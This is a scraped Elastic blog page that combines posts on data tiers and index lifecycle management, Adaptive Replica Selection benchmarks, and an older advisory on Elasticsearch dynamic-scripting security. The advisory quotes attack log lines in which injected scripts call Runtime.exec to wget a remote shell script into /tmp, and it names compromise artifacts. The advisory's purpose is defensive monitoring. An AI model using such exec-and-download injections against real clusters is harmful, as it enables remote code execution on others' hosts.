In Elasticsearch 7.10, we made configuring the lifecycle of your data easier and less complicated with data tiers. Learn about what’s changed and best practices for using data tiers.

<a href="https://www.elastic.co/blog/whats-new-elasticsearch-7-10-0-searchable-snapshots-store-more-for-less">Elasticsearch 7.10</a> made configuring the lifecycle of your data less complicated. In this blog post I’ll walk through some of the changes, how to use them, and some best practices along the way. Data lifecycle can encompass a lot of stages, so we’ll touch on:<ul><li>Dividing a cluster into tiers (hot, warm, cold), ensuring new data makes its way to the right place.</li><li>Making use of those tiers within index lifecycle management (ILM) for migrating data between tiers.</li><li>Increasing the data density within the cold tier using <a href="https://www.elastic.co/elasticsearch/elasticsearch-searchable-snapshots" target="_self">Elastic searchable snapshots</a>.</li><li>Putting it all together with a real example of how data flows through tiers.</li></ul><h2>Out with attributes, in with node roles</h2>One common use case when dealing with time series data is separating the cluster topology into separate tiers. These tiers are given names like hot, where new data is ingested and queried, warm, where medium-age data is held and queried, and cold, where data is usually held for long periods of time, being queried less frequently.It's common for users to configure these tiers with different hardware so that the most powerful, expensive hardware is used for the hot tier, while less expensive and more storage-dense hardware is used for the warm or cold tiers.Before 7.10, one of the most common ways to configure different tiers of nodes was to use node attributes, so a user would configure something like:<pre class="prettyprint"># On hot nodes node.attr.node_type: hot # On warm nodes node.attr.node_type: warm # On cold nodes: node.attr.node_type: cold </pre>These could then be used with the cluster and index level allocation parameters. So for example, an index would be created with:<pre class="prettyprint">PUT /myindex { "settings": { "index.routing.allocation.include.node_type": "hot" } } </pre>This created an index that was allocated to the hot nodes.Let's take a look at the new way to do things.<h2>Formalizing the process</h2>In 7.10 <a href="https://www.elastic.co/guide/en/elasticsearch/reference/7.10/data-tiers.html">configurations of this type have been formalized</a>, and we now have specific roles that correspond to the hot, warm, and cold tiers (as well as another tier, which we'll get to). This means instead of adding the node.attr.node_type attribute, we can add one of the data_hot, data_warm, or data_cold node roles to the node.roles setting:<pre class="prettyprint"># On hot nodes node.roles: ["data_hot"] # On warm nodes node.roles: ["data_warm"] # On cold nodes node.roles: ["data_cold"] </pre>Remember to add any other roles you might need to the list! For example, for a smaller cluster, a data node may look like:<pre class="prettyprint">node.roles: ["master", "ingest", "ml", "data_hot", "data_content"] </pre>(The data_content role will be explained further down in this post.)Note: You may be wondering what happened to the existing data role. Well, the data role acts as though all of the tiers have been specified, so it’s part of the hot, warm, and cold tiers all at once. This means that nodes that have been upgraded to 7.10 or later but don't specify custom node roles with the node.roles setting are part of every data tier.<h2>Moving data around tiers</h2>Once these roles are set, data can be shifted around the cluster using the same cluster and index-level allocation filters as before:<ul><li>cluster.routing.allocation.require._tier</li><li>cluster.routing.allocation.include._tier</li><li>cluster.routing.allocation.exclude._tier</li><li>index.routing.allocation.require._tier</li><li>index.routing.allocation.include._tier</li><li>index.routing.allocation.exclude._tier</li></ul>There’s also a new parameter that behaves a little differently to the regular include, exclude, and require filtering. This is the _tier_preference index-level setting: index.routing.allocation.include._tier_preference.To see how it works, let's look at an example:<pre class="prettyprint">PUT /myindex { "settings": { "index.routing.allocation.include._tier_preference": "data_cold,data_warm,data_hot" } } </pre>This snippet creates an index that prefers to be on the cold tier, then the warm tier, and finally, the hot tier.If the cluster contains no cold nodes, then it must be allocated to a warm node. If there are no warm nodes in the cluster, then it must be allocated to a hot node. This configuration allows policies or templates to set a preference and not have to worry about each tier being part of the cluster — it can specify its preferred tiers instead.To clarify exactly how this new setting behaves, check out this flow diagram:<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1f91eab94c29efd7/601844d85f9b2812764c0c05/blog-data-tiers-flowchart.jpg" data-sys-asset-uid="blt1f91eab94c29efd7" style="display: block;margin: auto;width: 600px;" width="600"/>There's one last difference between node attributes and formalized data tier roles — where an index is allocated when it is initially created. Here’s a simple rule that determines where an index is initially placed:Any index that is part of a data stream automatically has a "index.routing.allocation.include._tier_preference: data_hot" setting added upon creation.This means that all data stream backing indices will be allocated by default on hot (data_hot) nodes.And for indices that aren’t part of data streams:Any index that is not part of a data stream automatically has a "index.routing.allocation.include._tier_preference: data_content" setting added upon creation.Either of these settings can be overridden. Simply set the _tier_preference index setting to null, or set any other index-level allocation filtering setting during creation.But wait: What is this new data_content role? Let's consider another kind of data that doesn’t fit into a lifecycle model: data that does not fit the time series model.<h2>Data that doesn't fit a time series</h2>Some data is indexed and then only queried but doesn't have an age or timestamp in the conceptual sense. This includes enterprise search data, or ecommerce data, or a database of user information.For that kind of data, there’s a specific role: the data_content role. This role is configured just like the other roles using the node.roles setting.It’s worth mentioning that none of these roles are mutually exclusive, so if you wanted non-time series data and hot data to be on the same nodes, you would configure a node like so:<pre class="prettyprint"># This node can hold either "hot" tier data, or "content" tier data node.roles: ["data_hot", "data_content"] </pre>And, as you may have guessed already, the existing default data role is also part of the content tier. This means that the data role is the same as adding the data_hot, data_warm, data_cold, and data_content roles to the node.roles setting.As was mentioned in the previous section, the way that Elasticsearch determines what is time series data versus non-time series data is whether that index belongs to a data stream.Best practice: Make sure that your cluster always has at least one data_hot node and one data_content node, even if it’s the same node. Without both of these node roles, the different types of indices can’t be allocated.Now that we know about all the different tiers and have configured a few, let's look at how ILM can make use of these tiers.<h2>ILM in a data tier world</h2>Configuring tiers by themselves doesn't change much compared to the older attribute-based allocation. However, now that we have a built-in and consistent way to identify tiers within Elasticsearch, ILM can make use of those settings to migrate data automatically between tiers.Before 7.10, a tiered configuration may have been accomplished with a policy like the following:<pre class="prettyprint">{ "phases" : { "hot" : { "actions" : { "rollover" : { "max_age" : "30d", "max_size" : "50gb" } } }, "warm" : { "min_age" : "45d", "actions" : { "allocate" : { "include" : { "node_type" : "warm" } }, "forcemerge" : { "max_num_segments" : 1 } } }, "cold" : { "min_age" : "60d", "actions" : { "allocate" : { "include" : { "node_type" : "cold" } } } }, "delete" : { "min_age" : "90d", "actions" : { "delete" : { } } } } } </pre>This policy relied on an index template allocating data to the hot tier, then updating the node_type with "allocate" actions within each ILM phase to move the data around.But with 7.10, there’s a better way!Since Elasticsearch now has the ability to prefer a particular tier, ILM can make use of this preference by setting index.routing.allocation.include._tier_preference automatically when entering a new phase. Here’s an example using the same policy as above, but removing the allocate steps:<pre class="prettyprint">{ "phases" : { "hot" : { "actions" : { "rollover" : { "max_age" : "30d", "max_size" : "50gb" } } }, "warm" : { "min_age" : "45d", "actions" : { "forcemerge" : { "max_num_segments" : 1 } } }, "cold" : { "min_age" : "60d", "actions" : { } }, "delete" : { "min_age" : "90d", "actions" : { "delete" : { } } } } } </pre>When a new data stream is created that uses this policy, initially the preference will be set to index.routing.allocation.include._tier_preference: data_hot.When the index enters the warm phase, the setting will be updated to index.routing.allocation.include._tier_preference: data_warm,data_hot.Upon entering the cold phase, it’ll be updated to index.routing.allocation.include._tier_preference: data_cold,data_warm,data_hot, and then the index will finally be deleted in the delete phase.This automatic migration does not apply to the hot phase, as that is automatically managed on index creation.This automatic migration allows the data location to automatically match the current ILM phase when the cluster topology also contains nodes of that tier.This behavior is automatically applied, with two caveats:<ul><li>If a <a href="https://www.elastic.co/guide/en/elasticsearch/reference/7.11/ilm-migrate.html">"migrate": {"enabled": false} action</a> is added to the phase's list of actions, the automatic migration doesn’t take effect.</li><li>If the ILM phase actions contain an allocate step that sets an include, require, or exclude filter, the automatic migration doesn’t take effect.</li></ul>Both of these phases will not automatically migrate data:<pre class="prettyprint">"warm": { "actions": { "migrate": { "enabled": false } } } </pre>or<pre class="prettyprint">"warm": { "actions": { "allocate": { "include": { "node_type": "warm" } } } } </pre>Best practice: Once you have adopted the new roles in the cluster topology, make sure to remove any previous allocate actions from your ILM policies that use node attributes to rely on the default data tier migration.<h2>Keeping data longer with searchable snapshots</h2>Creating and maintaining the lifecycle of your data lets you control the hardware properties and performance characteristics of newer versus older data.But how much data can your cluster actually hold?The answer to this question almost always determines the retention period for data, as disk becomes finite and the oldest data must be expunged from the cluster to make room for newer data. It's a fine balance between keeping the amount of data necessary for insight and regulatory reasons without exhausting — or overpaying for — cluster disk resources.But what if we could keep data around longer with only a minimal impact on the cluster's resources?This is exactly where searchable snapshots can help. Searchable snapshots, introduced with 7.10, allow Elasticsearch to keep one copy of the data locally in the cluster, while another copy, which is acting as the replica, resides within a snapshot repository. This means no replicas are needed, as any loss of the local copy can be locally restored automatically from the repository snapshot.We can make use of this functionality within ILM too, automatically converting an index into a searchable snapshot when it reaches the cold phase, doubling the density of data that can be stored as no replicas are required for redundancy.Using this functionality is as simple as configuring a cold phase with the searchable_snapshot action:<pre class="prettyprint">"cold": { "min_age": "90d", "actions": { "searchable_snapshot": { "snapshot_repository" : "backing_repo" } } } </pre>Internally, when this action is reached, Elasticsearch will:<ul><li>Force merge the index to a single segment</li><li>Create a new snapshot of the index in the backing_repo repository</li><li>Mount the index as a searchable snapshot-backed index under a new name</li><li>Swap the original index for the searchable snapshot-backed one</li></ul>Voilà! We have now removed the need for a local replica since we have a snapshot that can be used in the event the primary copy of data is lost.Note: If you’re an <a href="/cloud">Elastic Cloud</a> user, you can even make use of the already-configured "found-snapshots" repository within your searchable snapshot action configuration (or configure your own separate repository).<h2>Putting it all together</h2>Data tier configuration for the lifecycle of your data encompasses many different moving parts to make a working lifecycle. Let's put those parts together into a working example.To start with, we'll need some nodes. In this example we'll use four nodes denoted a, b, c, and d:NodeA:<pre class="prettyprint">node.name: node-a-hot node.roles: ["master", "data_hot", "data_content", "ingest"] </pre>NodeB:<pre class="prettyprint">node.name: node-b-hot node.roles: ["master", "data_hot", "data_content", "ingest"] </pre>NodeC:<pre class="prettyprint">node.name: node-c-cold node.roles: ["master", "data_cold", "ingest"] </pre>NodeD:<pre class="prettyprint">node.name: node-d-cold node.roles: ["master", "data_cold", "ingest"] </pre>Once the cluster is started, let's configure a snapshot repository:<pre class="prettyprint">PUT /_snapshot/my-repository { "type": "fs", "settings": { "location": "my-backup-location" } } </pre>And add our ILM policy, making use of some common actions and the new searchable_snapshot action:<pre class="prettyprint">PUT /_ilm/policy/my-data-lifecycle { "policy" : { "phases" : { "hot" : { "actions" : { "rollover" : { "max_size" : "50gb", "max_age" : "3d" } } }, "warm" : { "min_age" : "5d", "actions" : { "shrink" : { "number_of_shards" : 1 } } }, "cold" : { "min_age" : "7d", "actions" : { "searchable_snapshot" : { "snapshot_repository" : "my-repository" } } }, "delete" : { "min_age" : "365d", "actions" : { "delete" : { } } } } } } </pre>There’s only one more prerequisite: an index template so that an index can be a data stream and automatically use the ILM policy we previously created. Make sure you have at least two of each node to accommodate the replicas, or set index.number_of_replicas to 0 for testing.<pre class="prettyprint">PUT /_index_template/my-lifecycle-template { "index_patterns": ["test-index"], "data_stream" :{}, "template": { "settings": { "index.lifecycle.name": "my-data-lifecycle", "index.number_of_shards": 2 } } } </pre>Data can now be sent to this new index by indexing documents directly to the test-index data stream:<pre class="prettyprint">POST /test-index/_doc?op_type=create { "message": "test document", "@timestamp": "2020-01-12" } </pre>Now as more data is sent, it will automatically move from the hot nodes to the cold nodes in the cluster, eventually making its way to a searchable snapshot before finally being deleted a year later.<h2>Get started with Elastic Cloud</h2>We hope this walkthrough of data tiers from a technical perspective has been helpful. Please try out these features and let us know how you like them in our <a href="https://discuss.elastic.co/">Discuss forums</a>!You can also try out these beta features with a <a href="https://cloud.elastic.co/registration">free 14-day trial of Elastic Cloud</a>. Stay tuned for 7.11 when our data tiers features will become generally available.

blog-banner-hard-drives.jpg

blog-thumb-hard-drives.jpg

Elasticsearch data lifecycle management with data tiers

Data lifecycle management with data tiers

<html><head></head><body><h2>Introduction</h2>In this blog post, I am going to describe a new feature of Elasticsearch called Adaptive Replica Selection (ARS). Before describing what ARS does, I&#x2019;ll first describe the problem that it tries to solve. Imagine that you have a cluster with three nodes. And across those three nodes, you have a shard and its replicas.
<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0ba59e988f7aec63/5c6c47ef2b22f9f161d6d356/image1.png" data-sys-asset-uid="blt0ba59e988f7aec63" alt="happy_cluster.png" style="display: block; margin: auto;">
Then imagine that one node starts to experience distress.
<img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blta962e1544a97b739/5c6c47d2763b502362e5007e/image2.png" data-sys-asset-uid="blta962e1544a97b739" alt="not_happy_cluster.png" style="display: block; margin: auto;">
When a search request is received, Elasticsearch first determines which shards need to be queried, and then determines which nodes contain copies of that shard. Once it&#x2019;s done that, it then sends the request to a single copy of the shard via round-robin selection. So if Elasticsearch sends the request to shard copy 2, we will see degraded performance compared to requests to the other copies:
<ul>
	<li>shard copy 1: 100ms</li>
	<li>shard copy 2 (degraded): 1350ms</li>
	<li>shard copy 3: 150ms</li>
</ul>The degradation of the node with the second copy of the data can be caused by any number of things, like long garbage collection cycles, high disk IO, network saturation, or heterogeneous node types. This causes tail latency of requests to rise, not to mention it frustrates whoever is unlucky enough to be waiting for the query when it&#x2019;s run against shard copy 2.
So what can be done? We would like Elasticsearch to be smart enough to route requests to the other copies of data until this node has recovered enough to handle more search requests. In Elasticsearch, we call this process of selecting the best available copy of the shard Adaptive Replica Selection.
<h2>Adaptive Replica Selection</h2>ARS is an implementation of an academic paper called <a href="https://www.usenix.org/conference/nsdi15/technical-sessions/presentation/suresh">C3: Cutting Tail Latency in Cloud Data Stores via Adaptive Replica Selection</a>. Originally, the paper was written for Cassandra, which means we had to adapt some things to fit Elasticsearch due to the differences in behavior between the two.
Our ARS implementation is based on a formula where, for each search request, Elasticsearch ranks each copy of the shard to determine which is likeliest to be the &quot;best&quot; copy to send the request to. Instead of sending requests in a round-robin fashion to each copy of the shard, Elasticsearch selects the &quot;best&quot; copy and routes the request there.
The ARS formula initially seems complex, but let&apos;s break it down:
&#x3A8;(s) = R(s) - 1/&#xB5;&#x304;(s) + (q&#x302;(s))^3 / &#xB5;&#x304;(s)
Where q&#x302;(s) is:
q&#x302;(s) = 1 + (os(s) * n) + q(s)
And looking at the individual pieces:
<ul>
	<li>os(s) is the number of outstanding search requests to a node</li>
	<li>n is the number of data nodes in the system</li>
	<li>R(s) is the <a href="https://en.wikipedia.org/wiki/Moving_average#Exponential_moving_average">EWMA</a> of the response time (as seen from the node coordinating the search) in milliseconds</li>
	<li>q(s) is the EWMA of the number of events in the search thread pool queue</li>
	<li>&#xB5;&#x304;(s) is the EWMA of service time of search events on the data node in milliseconds</li>
</ul>Response time is the time measured for a request from the coordinating node, whereas service time is the time measured on the node executing the request (not including any time the request may have spent in the queue). Roughly speaking, this means that as the difference between the response time and service time grows &#x2014; as well as the number of searches in the queue and the outstanding requests for a node &#x2014; the higher a score the node will receive (lower scored nodes are considered the &#x201C;best&#x201D; ranked). For example, the (q&#x302;(s))^3 part of the formula means that as the number of connections to a data node, and the number of searches in the node&#x2019;s queue increases, the score will go up in a cubic exponential manner. By factoring in the number of outstanding search requests in the formula, we also make sure that nodes with identical load and response times still distribute requests among shard copies.
Elasticsearch gathers most of these values using a specialized thread pool for search actions on each of the nodes. For each search response, these values are piggybacked on the results back to the coordinating node, which stores them so the node can be ranked for subsequent requests. When the next search request comes in, the node with the lowest score will serve the request. If the node encounters an exception, the node with the next best score serves the search request. Since we don&apos;t want loaded nodes to have searches routed away forever, every time a node is not the best ranked node, we slightly adjust the score to make it a better candidate for handling future requests.
Going back to our original example, the selected node for the request would be either shard copy 1 or 3, avoiding the overloaded shard copy 2.
ARS is <a href="https://www.elastic.co/guide/en/elasticsearch/reference/6.1/search.html#search-adaptive-replica">available in Elasticsearch 6.1 and later</a>, but is turned off by default in all 6.x releases. It can be turned on dynamically by changing the <code>cluster.routing.use_adaptive_replica_selection</code> setting:
<pre class="prettyprint">PUT /_cluster/settings
{
 &quot;transient&quot;: {
 &quot;cluster.routing.use_adaptive_replica_selection&quot;: true
 }
}
</pre>In Elasticsearch 7.0 and later, ARS will be turned on by default.
<h2>Improvements with ARS</h2>How much do we expect this to help? We ran benchmarks with <a href="https://github.com/elastic/rally">Rally</a> for many scenarios, both with and without simulating load on one of the nodes containing a copy of the data. In our case, we used a single coordinating node connected to a cluster of five nodes, searching an index with five primary shards each with a single replica. In each benchmark, the search requests were sent as quickly as possible from 100 Rally connections.
<h4>Non-loaded case:</h4><table>
<tbody>
<tr>
	<td>Metric
	</td>
	<td style="text-align: center;">No ARS
	</td>
	<td style="text-align: center;">ARS
	</td>
	<td style="text-align: center;">Change %
	</td>
</tr>
<tr>
	<td>Median Throughput (queries/s)
	</td>
	<td style="text-align: center;">95.7866
	</td>
	<td style="text-align: center;">98.537
	</td>
	<td style="color: green; text-align: center;">2.8
	</td>
</tr>
<tr>
	<td>Median latency (ms)
	</td>
	<td style="text-align: center;">1003.29
	</td>
	<td style="text-align: center;">970.15
	</td>
	<td style="color: green; text-align: center;">-3.3
	</td>
</tr>
<tr>
	<td>90th percentile latency (ms)
	</td>
	<td style="text-align: center;">1339.69
	</td>
	<td style="text-align: center;">1326.79
	</td>
	<td style="color: green; text-align: center;">-0.9
	</td>
</tr>
<tr>
	<td>99th percentile latency (ms)
	</td>
	<td style="text-align: center;">1648.34
	</td>
	<td style="text-align: center;">1648.8
	</td>
	<td style="color: red; text-align: center;">0.027
	</td>
</tr>
</tbody>
</table>The non-loaded case makes sense in a system where none of the nodes are under undue stress (high GCs, disk issues, etc). We expected throughput and latency to remain largely the same, which it did. Since a coordinating node is being used for queries, we avoided hotspots from a node having to coordinate any of the search responses.
<h4>Single node under load:</h4><table>
<tbody>
<tr>
	<td>Metric
	</td>
	<td style="text-align: center;">No ARS
	</td>
	<td style="text-align: center;">ARS
	</td>
	<td style="text-align: center;">Change %
	</td>
</tr>
<tr>
	<td>Median Throughput (queries/s)
	</td>
	<td style="text-align: center;">41.1558
	</td>
	<td style="text-align: center;">87.8231
	</td>
	<td style="color: green; text-align: center;">113.4
	</td>
</tr>
<tr>
	<td>Median latency (ms)
	</td>
	<td style="text-align: center;">411.721
	</td>
	<td style="text-align: center;">1007.22
	</td>
	<td style="color: red; text-align: center;">144.6
	</td>
</tr>
<tr>
	<td>90th percentile latency (ms)
	</td>
	<td style="text-align: center;">5215.34
	</td>
	<td style="text-align: center;">1839.46
	</td>
	<td style="color: green; text-align: center;">-64.7
	</td>
</tr>
<tr>
	<td>99th percentile latency (ms)
	</td>
	<td style="text-align: center;">6181.48
	</td>
	<td style="text-align: center;">2433.55
	</td>
	<td style="color: green; text-align: center;">-60.6
	</td>
</tr>
</tbody>
</table>In this scenario we simulated load on a node by using the stress command with the parameters <code>stress -i 8 -c 8 -m 8 -d 8</code>&#xA0;(which runs stress with 8 CPU workers, 8 IO workers, 8 memory workers, and 8 hard drive workers). With ARS there is a large improvement in throughput for the loaded case, as well as a trade-off of 50th percentile latency for a large improvement in 90th and 99th percentile latency. So we were able to route around the degraded node quite well. The 50th percentile latency increase is expected since instead of requests having a &quot;luck-of-the-draw&quot; for whether they go to an unstressed or stressed node, they now avoid the stressed node, slightly increasing load for the unstressed nodes (and thus latency).
<h4>Single replica, round-robin requests:</h4><table>
<tbody>
<tr>
	<td>Metric
	</td>
	<td style="text-align: center;">No ARS
	</td>
	<td style="text-align: center;">ARS
	</td>
	<td style="text-align: center;">Change %
	</td>
</tr>
<tr>
	<td>Median Throughput (queries/s)
	</td>
	<td style="text-align: center;">89.6289
	</td>
	<td style="text-align: center;">95.9452
	</td>
	<td style="color: green; text-align: center;">7.0
	</td>
</tr>
<tr>
	<td>50th percentile latency (ms)
	</td>
	<td style="text-align: center;">1088.81
	</td>
	<td style="text-align: center;">1013.61
	</td>
	<td style="color: green; text-align: center;">-6.9
	</td>
</tr>
<tr>
	<td>90th percentile latency (ms)
	</td>
	<td style="text-align: center;">1706.07
	</td>
	<td style="text-align: center;">1423.83
	</td>
	<td style="color: green; text-align: center;">-16.5
	</td>
</tr>
<tr>
	<td>99th percentile latency (ms)
	</td>
	<td style="text-align: center;">2481.1
	</td>
	<td style="text-align: center;">1783.73
	</td>
	<td style="color: green; text-align: center;">-28.1
	</td>
</tr>
</tbody>
</table>Finally we tested without a coordinating node, sending the requests in a round-robin manner to each node in the cluster without any stress induced. An improvement can be seen in both throughput and latency. So even if the cluster is experiencing even load, ARS can still improve throughput and latency.
<h2>Conclusion</h2>As you can see, we expect Adaptive Replica Selection to help in many situations. ARS allows the coordinating node to be aware of the load on the data nodes and allows it to choose the best shard copies for executing a search, improving search throughput as well as latency. If you are using Elasticsearch 6.1 or later, please try it out and let us know any feedback you have!
</body></html>

ars_banner.jpg

ars_thumbnail.jpg

Improving Response Latency in Elasticsearch with Adaptive Replica Selection

<section id="post_content">
 <article>
 At Elasticsearch, we take security very seriously. We’ve consistently documented that outside access to Elasticsearch clusters be restricted, but with 1.2.x we decided to err on the safe side and change our default settings. In this blog post, I’ll cover the changes we’ve made to make your Elasticsearch nodes more secure, how you can protect yourself and how to monitor for attacks.
 In case you are wondering, these issues are also documented on our <a href="http://www.elasticsearch.org/community/security/">security issues</a> page. You can always use the same page to report security issues with any Elasticsearch product.
 To start there are three steps you should immediately take to protect yourself when running Elasticsearch:
 <h2>1. Don’t run Elasticsearch open to the public</h2>
 Elasticsearch is not designed to be a public facing service, it’s intended to be used by your application via the API. By exposing Elasticsearch to the world you run the risk of denial-of-service attacks if a malicious user discovers your production Elasticsearch system. In addition, prior to the 1.2.x release an attacker can use dynamic scripting to perform arbitrary code execution on the machine that Elasticsearch is hosted on if Elasticsearch is open to the public.
 Because of this, it is highly recommended that Elasticsearch be run from behind a firewall, allowing only your development application or Kibana servers to communicate with it. You should block both port 9200 as well as port 9300 from all machines not part of your development environment.
 <h2>2. Don’t run Elasticsearch as root</h2>
 Elasticsearch should always be run as a dedicated user rather than the root user. There are more details in <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_enabling_dynamic_scripting">our documentation</a>.
 <h2>3. Disabling dynamic scripting</h2>
 In Elasticsearch 1.2.x, sending the request with a script string is now disabled by default. As we previously mentioned, we were erring on the safe side to ensure any Elasticsearch node globally available was not vulnerable. Why disable something so useful? Well, the issue with dynamic scripting is that it opens the full power of the JVM to execute arbitrary scripts. Scripts can be sent that read files from disk, execute commands through the java.lang.Runtime package, access the internals of Elasticsearch, and so on. Due to this security risk, we decided to default to disabling scripting sent in requests dynamically. You can refer to <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html">our documentation on scripting</a> for more details.
 What is dynamic scripting you ask? Dynamic scripting is when a script is provided as a string to a request, for example:<pre class="prettyprint">POST /imdb/_search?pretty { "query": { "function_score": { "query": {"match_all": {}}, "functions": [ { "script_score": { "script": "log(n * doc['popularity'].value)", "params": { "n": 1.5 } } } ] } } }</pre>
 In this example, searching for movies and using the popularity field inside the document to influence the score. Scripting is also used for the update API:<pre class="prettyprint">POST /imdb/movie/1/_update { "script": "ctx._source.viewings += 1" }</pre>
 With dynamic scripting disabled the alternative to this is to specify scripts for requests by placing them in a file on disk. Elasticsearch will <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_automatic_script_reloading">automatically detect new and removed scripts</a> when they are placed in the config/scripts directory. For example:<pre class="prettyprint">$ cd /path/to/es/installation $ tree config config |-- elasticsearch.yml |-- logging.yml |-- scripts |-- calculate-score.mvel $ cat config/scripts/calculate-score.mvel log(n * doc['popularity'].value)</pre>
 Then this script can be used just like a dynamic script, but instead of specifying the entire script, specifying the script name and parameters:<pre class="prettyprint">POST /imdb/_search?pretty { "query": { "function_score": { "query": {"match_all": {}}, "functions": [ { "script_score": { "script": "calculate-score", "params": { "n": 1.5 } } } ] } } }</pre>
 This goes for all scripts that Elasticsearch uses. While this may sound a bit inconvenient, it provides better security for users using the scripting feature of Elasticsearch.
 If you are running an Elasticsearch node prior to the 1.2.x release, you can make this change on your system by putting the following setting into elasticsearch.yml:<pre class="prettyprint">script.disable_dynamic: true</pre>
 Then restart each node in your cluster. Dynamic scripting will now be disabled. If you are running Elasticsearch 1.2.x or later, dynamic scripting is already disabled by default.
 Going forward with 1.3.0 release, we have plans for sandboxing the scripting environment. Stay tuned for another blog post about those changes!
 <h2>How to monitor your environment for security breaches</h2>
 We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.
 The most recent attack is generating Elasticsearch logs similar to the following:<pre class="prettyprint">[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory] Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory [Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]</pre>
 After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.
 You should also monitor for abnormal system load and perform a thorough audit of your system.
 Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.
 <h2>Questions?</h2>
 We’re standing by on the <a href="https://groups.google.com/forum/?fromgroups#!forum/elasticsearch">Elasticsearch Users list</a>.
 Finally, a gentle reminder: We pride ourselves on responding quickly to vulnerability reports. We want to keep our users safe, so <a href="http://www.elasticsearch.org/community/security/">report early and often</a>!
 <aside id="post_tags"></aside>
 </article>
</section>

Scripting and Security

Start free trial

Blog Footer CTA

Sign up for Elastic Cloud free trial

Senior Software Engineer

Lee Hinman

By submitting you acknowledge that you've read and agree to our <a href="/legal/elastic-cloud-account-terms" target="_self">Terms of Service</a>, and you agree to receive the <a href="/legal/privacy-statement#how-we-use-the-information" target="_self">selected communications</a> at the contact details you provided above. See <a href="/legal/privacy-statement/" target="_self">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.

Communication Preferences - ONLY for /communication-preferences

제출하면 귀하가 <a href="/kr/legal/elastic-cloud-account-terms" target="_self">Elastic 서비스 약관</a>을 읽고 이에 동의하며, 위에 제공된 연락처로 <a href="/kr/legal/privacy-statement#how-we-use-the-information" target="_self">선택한 커뮤니케이션</a>을 수신하는 데 동의한 것으로 간주됩니다. 언제든지 수신을 거부할 수 있으며 자세한 내용은 <a href="/kr/legal/privacy-statement/" target="_self">Elastic 개인정보 취급방침</a>을 참조하시기 바랍니다.

By submitting you acknowledge that you've read and agree to our <a href="/legal/serverless-preview-terms" target="_blank">Terms of Service</a>, and that Elastic may <a href="/legal/privacy-statement#how-we-use-the-information" target="_blank">contact you</a> about our related products and services, using the details you provide above. See <a href="/legal/privacy-statement/" target="_blank">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.

Serverless GDPR Text

제출하면 귀하가 Elastic <a href="/kr/legal/serverless-preview-terms" target="_self">서비스 약관</a>을 읽고 이에 동의하며, 위에 제공된 세부 정보를 사용하여 Elastic이 관련 제품 및 서비스에 대해 귀하에게 <a href="/kr/legal/privacy-statement#how-we-use-the-information" target="_self">연락할 수 있음</a>을 이해한 것으로 간주됩니다. 언제든지 수신을 거부할 수 있으며 자세한 내용은 <a href="/kr/legal/privacy-statement/" target="_self">Elastic 개인정보 취급방침</a>을 참조하시기 바랍니다.

By submitting you agree to <a href="/agreements/global/cloud-services-monthly" rel="nofollow">Elastic Cloud Terms of Service</a>. Your personal data will be processed in accordance with <a href="/legal/privacy-statement">Elastic's Privacy Statement</a>.

Cloud Trial GDPR Text

제출하면 <a href="/kr/agreements/global/cloud-services-monthly" rel="nofollow">Elastic Cloud 서비스 약관</a>에 동의하시게 됩니다. 개인 데이터는 <a href="/kr/legal/privacy-statement">Elastic의 개인정보 취급방침</a>에 따라 처리됩니다.

By submitting you acknowledge that you've read and agree to our <a href="/legal/terms-of-use" target="_blank">Terms of Service</a>, and that Elastic may <a href="/legal/privacy-statement#how-we-use-the-information" target="_blank">contact you</a> about our related products and services, using the details you provide above. See <a href="/legal/privacy-statement/" target="_blank">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.

Newsletter GDPR Text

제출하면 귀하가 Elastic <a href="/kr/legal/terms-of-use" target="_self">서비스 약관</a>을 읽고 이에 동의하며, 위에 제공된 세부 정보를 사용하여 Elastic이 관련 제품 및 서비스에 대해 귀하에게 <a href="/kr/legal/privacy-statement#how-we-use-the-information" target="_self">연락할 수 있음</a>을 이해한 것으로 간주됩니다. 언제든지 수신을 거부할 수 있으며 자세한 내용은 <a href="/kr/legal/privacy-statement/" target="_self">Elastic 개인정보 취급방침</a>을 참조하시기 바랍니다.

Explore similar demos

Overview

Speakers

Close

See more insights

The content on this page is not available in the selected language. As Elastic grows globally, we continue to support content in multiple languages.

The content on this page is not available in the selected language.

이 페이지의 콘텐츠는 선택하신 언어로 제공되지 않습니다. Elastic은 다양한 언어로 콘텐츠를 제공하기 위해 최선을 다하고 있습니다.조금만 더 기다려주세요!

Author

Articles by

Learn more

Watch now (no PT)

Watch now

See all top stories

All (no PT translation)

Contact information

Press Release

Share on Reddit

Share this story

Share by Email

Thank you for your interest!

Contact Info

Follow us on Youtube

Load More

Share on LinkedIn

Follow us on LinkedIn

Search Integrations

All Solutions

Video for

Follow us on Twitter

See when this webinar starts in my time zone

내 표준 시간대로 웨비나 시작 시간 확인하기

Register to Watch

Register now

See All Posts

Can't make it? Register and we'll send you the recording. You'll also receive an email with related content

참여가 어려우신가요? 등록하시면 녹화 자료를 보내드리겠습니다. 이메일로 관련 콘텐츠도 받아보실 수 있습니다.

Small image for

On-demand webinar

Featured webinar

Register to Attend

Share on Facebook

Reset all

Upcoming webinar

View more posts

Print

Hosted by

Sign In to Attend

View next

Follow us on Facebook

Share

Highlights

Read less

You'll also receive an email with related content

이메일을 통해 관련 내용을 보내드리겠습니다.

Thank you for registering. We will send you a confirmation email soon.

등록해 주셔서 감사합니다. 곧 확인 이메일을 보내드리겠습니다.

Author

